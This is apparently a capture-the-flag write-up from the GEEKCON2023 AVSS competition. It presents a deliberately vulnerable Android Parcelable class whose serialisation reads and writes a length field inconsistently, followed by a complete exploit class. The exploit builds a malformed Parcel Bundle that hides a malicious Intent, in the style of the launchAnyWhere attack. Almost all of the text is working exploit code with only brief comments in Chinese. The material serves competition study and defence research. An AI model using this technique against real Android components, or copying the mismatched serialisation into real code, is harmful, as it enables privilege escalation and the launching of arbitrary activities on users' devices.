GEEKCON2023 AVSS Competition-VulnParcel Writeup

public final class VulnParcelable implements Parcelable {
    private String TAG = "VulnParcelable";

    private int opt;
    private int o1;
    private int o2;
    private byte[] mPayload;

    public VulnParcelable() { }

    // @UnsupportedAppUsage
    private VulnParcelable(Parcel in) {
        readFromParcel(in);
    }

    // 反序列化
    // opt=0: 只读一个o1 
    // opt=1: 先读o2，然后读一个size，o2>0才会再读一个buf[size]
    public void readFromParcel(@NonNull Parcel in) {
        Log.d("VulnParcelable", "read from parcel");
        opt = in.readInt();
        if (opt == 0) {
            o1 = in.readInt();
            Log.d("VulnParcelable", "read o1: "+o1);
        } else if (opt == 1) {
            o2 = in.readInt();
            Log.d("VulnParcelable", "read o2: "+o2);
            int size = in.readInt();
            Log.d("VulnParcelable", "read size: "+size);
            if (o2 > 0) {
                mPayload = new byte[size];
                in.readByteArray(mPayload);
                Log.d("VulnParcelable", "readByteArray");
            }
        }
    }

    @Override
    public int describeContents() {
        return 0;
    }

    @Override
    // 序列化
    // 漏洞点：opt=1, o2<=0时不会把length写入，但readFromParcel时又会在校验o2正负值之前先读长度值，造成读写的mismatch。
    public void writeToParcel(@NonNull Parcel dest, int flags) {
        Log.d("VulnParcelable", "writeToParcel");
        dest.writeInt(opt);
        if (opt == 0) {
            dest.writeInt(o1);
            Log.d("VulnParcelable", "write o1: "+o1);
        } else if (opt == 1) {
            dest.writeInt(o2);
            Log.d("VulnParcelable", "write o2: "+o2);
            if (o2 > 0) {
                dest.writeInt(mPayload.length);
                dest.writeByteArray(mPayload);
                Log.d("VulnParcelable", "write writeByteArray: "+mPayload.length);
            }
        }
    }

    public static final @android.annotation.NonNull Parcelable.Creator<VulnParcelable> CREATOR = new Parcelable.Creator<VulnParcelable>() {
        @Override
        public VulnParcelable createFromParcel(Parcel in) {
            return new VulnParcelable(in);
        }
        @Override
        public VulnParcelable[] newArray(int size) {
            return new VulnParcelable[size];
        }
    };

}

public class expVulnParcel implements IGenerateMalformedParcel{
    private static final int VAL_PARCELABLE = 4;
    private static final int VAL_INTEGER = 1;
    private static final int VAL_BYTEARRAY = 13;

    @Override
    public Parcel generate(Intent intent) {

        //Bundle bundle = new Bundle();
        Parcel obtain = Parcel.obtain();
        Parcel obtain2 = Parcel.obtain();
        Parcel obtain3 = Parcel.obtain();
        // 准备工作，参考launchAnyWhere写的
        obtain.writeInterfaceToken("android.accounts.IAccountAuthenticatorResponse"); // 相当于3次writeInt
        obtain.writeInt(1);
        // obtain的最外层是一个Bundle，Bundle中包含攻击payload
        int bundleLenPos = obtain.dataPosition();
        obtain.writeInt(-1);
        obtain.writeInt(0x4c444E42);

        obtain2.writeInt(3); // Bundle的键值对数目
        // 1. 依次构造Bundle中的三个键值对
        obtain2.writeString("launchanywhere"); // key string 1 (android.os.VulnParcelable的键值对)
        obtain2.writeInt(VAL_PARCELABLE);
        obtain2.writeString("android.os.VulnParcelable");
        obtain2.writeInt(1); // opt
        obtain2.writeInt(0); // o2 
        obtain2.writeInt(0); // size

        // 长度为13的string实际上会占用28字节
        obtain2.writeInt(13); // key string 2
        obtain2.writeInt(3); // new key string 2
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(13); // new value 2: VAL_BYTEARRAY (刚好覆盖到"intent"前的位置)
        obtain2.writeInt(56); // size
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(1); // value 2: VAL_INTEGER
        obtain2.writeInt(1); // int
        obtain2.writeInt(13); // key string 3
        obtain2.writeInt(22);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(0);
        obtain2.writeInt(13); // value 3: VAL_BYTEARRAY
        obtain2.writeInt(-1); // size域占位，在这个ByteArray里藏了一个intent的键值对；第一次读看不到，第二次读会露出来

        // 2. 隐藏的恶意intent的键值对
        int dataPosition = obtain2.dataPosition();
        obtain2.writeString("intent"); // new key string 3
        obtain2.writeInt(VAL_PARCELABLE); // new value 3
        obtain2.writeString("android.content.Intent");
        // obtain3用于存储想要launch的intent的序列化数据
        intent.writeToParcel(obtain3, 0);
        obtain2.appendFrom(obtain3, 0, obtain3.dataSize());
        // 设置ByteArray的size域
        int dataPosition2 = obtain2.dataPosition();
        obtain2.setDataPosition(dataPosition - 4);
        obtain2.writeInt(dataPosition2 - dataPosition);
        obtain2.setDataPosition(dataPosition2);

        // 3. 设置obtain也即Bundle的size域，然后把obtain2中的键值对们加进去
        int dataSize = obtain2.dataSize();
        obtain.setDataPosition(bundleLenPos); // 不再是0了
        obtain.writeInt(dataSize);
        obtain.writeInt(0x4c444E42); 
        obtain.appendFrom(obtain2, 0, dataSize);
        obtain.setDataPosition(0);

        return obtain;
    }
}